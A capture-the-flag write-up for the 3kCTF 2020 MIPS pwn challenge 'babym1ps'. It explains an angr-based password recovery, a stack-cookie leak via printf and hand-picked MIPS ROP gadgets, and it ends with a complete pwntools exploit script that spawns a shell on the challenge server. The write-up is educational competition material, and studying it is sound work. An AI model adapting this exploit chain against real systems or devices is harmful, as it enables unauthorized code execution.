# babym1ps
writeup by [haskal](https://awoo.systems) for [BLÅHAJ](https://blahaj.awoo.systems)
**Pwn****499 points****3 solves**
>nc babymips.3k.ctf.to 7777
provided file: <https://git.lain.faith/BLAHAJ/writeups/media/branch/writeups/2020/3kctf/babym1ps/challenge>
## writeup
the provided binary is MIPS, as you'd expect from the name. there's a fairly bog-standard stackoverflow in the main function, however it can only be triggered after successfully entering apassword, otherwise it calls exit() and never returns. additionally, there's a stack cookie check.
![ghidra decompilation of the main function showing the mentioned challenges](https://git.lain.faith/BLAHAJ/writeups/media/branch/writeups/2020/3kctf/babym1ps/main.png)
you can manually reverse for the password, it's not super complicated but just to get more familiarwith using angr, i used angr.
```python# idk what this is, it's not importantp.hook(0x00400550, angr.SIM_PROCEDURES["stubs"]["Nop"]())# shim other functionsp.hook(0x004091d0, angr.SIM_PROCEDURES["libc"]["puts"]())p.hook(0x00408490, angr.SIM_PROCEDURES["libc"]["printf"]())
# shim the rand() looking function to return the same stuff as a real concrete executionclass RandShim(angr.SimProcedure):    def run(self, vals=None):        i = self.state.globals.get('fakerand_idx', 0)        val = vals[i]        self.state.globals['fakerand_idx'] = i + 1        return val
p.hook(0x00407bf0, RandShim(vals=[ 0x67, 0xc6, 0x69, 0x73, 0x51, 0xff, 0x4a, 0xec, 0x29, 0xcd, 0xba, 0xab, 0xf2, 0xfb, 0xe3, ]))# shim readp.hook(0x0041d520, angr.SIM_PROCEDURES["linux_kernel"]["read"]())```since this is a static binary, we can hook functions with angr SimProcedures to save time (and toavoid possible cases of angr just not terminating at all). i guessed what the function calls are inmain based on the parameters and how they're used. i also recorded the values returned by some sortof PRNG, probably `rand()` during a concrete execution and added a custom SimProcedure for that. therest is straightforward
```python# call mainst = p.factory.call_state(0x004005e0)sm = p.factory.simulation_manager(st)# find where it prints OK, avoid where it prints Nosm.explore(find=0x004007e4, avoid=0x00400820)# this is the answerprint(sm.found[0].posix.dumps(0)[512:])```
this gives a password of `dumbasspassword`. next, to defeat the stack cookie check, the cookie canbe leaked by the `printf()` call for the username, since that will keep printing until it encountersa null byte. the LSB of the cookie is always null, but by providing an overwrite of 1 char into thecookie we can leak the whole thing. just remember to set the null back with the next overwrite.
```pythonlog.info("performing stack leak")p.send("A" * 129)name = p.recvuntil("your pass")i = name.index(b"A")cookie = b"\x00" + name[i+129:i+129+3]log.info("got cookie %s", cookie)```
now we run into some challenges. it turns out this binary does not use NX, so the stack isexecutable. we can write shellcode on the stack, but we don't necessarily know where the stack isbecause of ASLR. therefore, we need a ROP chain to get the stack pointer and jump to it.
MIPS ROP is interesting (similarly to ARM ROP) because unlike i386 and amd64, the return address isstored in a register `ra` rather than directly on the stack. so instead of most every functionepilogue being able to work as a ROP gadget, only epilogues that pop `ra` from the stack and thenreturn are applicable. there are also some gadgets involving the temp register `t9` - which is usedby MIPS compilers to load certain library function calls from `gp` or other registers. so it'sreally a mix of both return- and call-oriented programming. another important thing about MIPS isthat each branch/jump has a _delay slot_, the instruction directly after the branch gets executedbefore the branch/jump gets taken, and also if it's not taken. the delay slots are prefixed inghidra with `_`. this means useful gadget operations can actually come after the corresponding`jalr`, for example.
it turns out pwntools is fairly useless for MIPS ROP, and i also tried a port of some IDA scripts toghidra <https://github.com/tacnetsol/ghidra_scripts> but these didn't really turn up good results,particularly for obtaining the stack pointer in a register, and suffered from the issue that ROPgadgets were not cached between runs which made script runs take unnecessarily long.
so instead we have to manually search for gadgets. first, it's important to note that the returnfrom main gives control over `ra` and `s8` only, so we will need to add more gadgets that loadregisters from the stack if needed.
![epilogue of main showing control of only s8](https://git.lain.faith/BLAHAJ/writeups/media/branch/writeups/2020/3kctf/babym1ps/main_ret.png)
first, i did a ghidra search for any `addiu` instruction from `sp` to `a0`. this is because of astrategy i actually discovered last week (i'm not really convinced it's novel, but i haven't seen itanywhere) of returning to `entry` as the last gadget, because `entry` loads `main` to `a0` and thencalls into libc init that will eventually execute `a0`. now it turns out this binary actually has adifferent `gain shellcode execution` gadget i just didn't look hard enough, but whatever this works.
![the code of entry, demonstrating the above](https://git.lain.faith/BLAHAJ/writeups/media/branch/writeups/2020/3kctf/babym1ps/entry.png)
i wasn't able to find a useful `sp->a0` gadget but i did find an `sp->a1` gadget. however this takesits next return address from `s4` as you can see it moves `s4` to `t9` and then calls (in mips, moveis equivalent to bitwise or with 0). there's another tricky part of this because it writes `s3` tothe stack, and this actually ends up corresponding to the return address of the last gadget we needso s3 will need to be controlled for that too.
![first rop gadget as described](https://git.lain.faith/BLAHAJ/writeups/media/branch/writeups/2020/3kctf/babym1ps/rop_0.png)
in order to control `s4` we need a gadget to come before this, and there are lot of them availablebecause a lot of epilogues pop `s*` registers, but i selected for one with a reasonably small stackshift because we are technically byte-limited here.
![zeroth rop gadget as described](https://git.lain.faith/BLAHAJ/writeups/media/branch/writeups/2020/3kctf/babym1ps/rop_1.png)
finally, we need a gadget to move a1 to a0. i found an interesting gadget for this which returns to`ra` after branching for some reason.
![final gadget we need, before branch](https://git.lain.faith/BLAHAJ/writeups/media/branch/writeups/2020/3kctf/babym1ps/rop_2_1.png)![final gadget we need, after branch](https://git.lain.faith/BLAHAJ/writeups/media/branch/writeups/2020/3kctf/babym1ps/rop_2_2.png)
so to summarize, the ROP/COP gadgets are:
 - gain control of more registers, particularly `s4` and `s3`. then return to next gadget by popping     `ra` - load a stack address into `a1`, write `s3` then return to `s4` (which we previously loaded from     the stack) - move `a1` to `a0` and return via `ra` - hijack `entry` to get libc to call the shellcode for us
now it turns out the challenge author did it in 3 gadgets but weh. this also works.
and here's the code
```pythonlog.info("performing attack")
pwd = b"dumbasspassword"
payload = (    # password, and pad to the end of main's stack frame    pwd + b"B" * (128 - len(pwd))    + cookie    + b"CCCC" # main frame - s8    + p32(0x446d50) # main frame - saved ra to gadget 0    # next gadget frame    + b"D"*24    + p32(1337) # s0    + p32(1338) # s1    + p32(0x48f990) # s2 - some readable address needed    + p32(0x40036c) # s3 - address of last gadget (overwrite by gadget 2)    + p32(0x464058) # s4 - after next gadget    + p32(0x4452a8) # ra - next gadget    # next gadget frame    + b"E" * 28    + p32(0x13371337) # entry gadget to call a0 (overwritten by s3)    + b"\x00" * 24 # final pad before shellcode)
# pwntools is fun i literally don't even have to write this part myselfsc = asm(shellcraft.mips.sh())payload += sc
p.send(payload)p.interactive()```
running the full code against the server gets you a shell, from which you can print the flag.
## addendum
when doing this sort of thing for a _real_ MIPS device, you have to be wary of the instruction anddata caches screwing you over. in particular, they are not coherent, so if your shellcode is storedin the data cache it will _not_ show up in the instruction cache unless they get flushed. now thispart really doesn't matter here, since it's executing in qemu (good thing too! i kind of justassumed it would be inside qemu on the server, but it would have been truly evil if the challengewere run on a real MIPS board).
the typical mitigation for this is to add additional ROP steps to call `sleep()` with a small value-- kernel context switching will flush the caches and then you'll be all set.
## last word
it's kinda ironic to me how the challenge is named such that it appears to be a `baby`-typechallenge but then it also only got 3 solves. i wouldn't say it's not fairly straightforward onceyou get into it, but for me personally having to find gadgets by hand was a major time sink, and itsucks that the ghidra scripts mostly failed to find stuff even though there _are_ lots of usefulgadgets in the binary. i mean c'mon it's static libc, of course there are useful gadgets.  this one is supposed to be a shark but ctftime is bad -> ?✨